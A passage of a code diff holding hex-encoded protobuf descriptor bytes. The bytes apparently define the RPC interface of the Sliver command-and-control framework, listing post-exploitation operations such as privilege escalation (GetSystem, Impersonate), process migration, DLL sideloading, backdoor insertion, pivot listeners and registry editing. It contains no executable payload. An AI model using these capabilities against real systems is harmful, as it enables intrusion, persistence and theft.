- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, - 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, - 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, - 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, - 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, - 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, - 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, - 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, - 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, - 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, - 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, - 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, - 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, - 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, - 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, - 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, - 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, - 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, - 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, - 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, - 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, - 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, - 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, - 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, - 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, - 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, - 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, - 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, - 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, - 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, - 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, - 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, - 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, - 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, - 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, - 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, - 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, - 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, - 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, - 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, - 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, - 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, - 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, - 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, - 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, - 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, + 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, + 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, + 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, + 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, + 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, + 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, + 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, + 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, + 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, + 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, + 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, + 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, + 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, + 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, + 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, + 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, + 0x73, 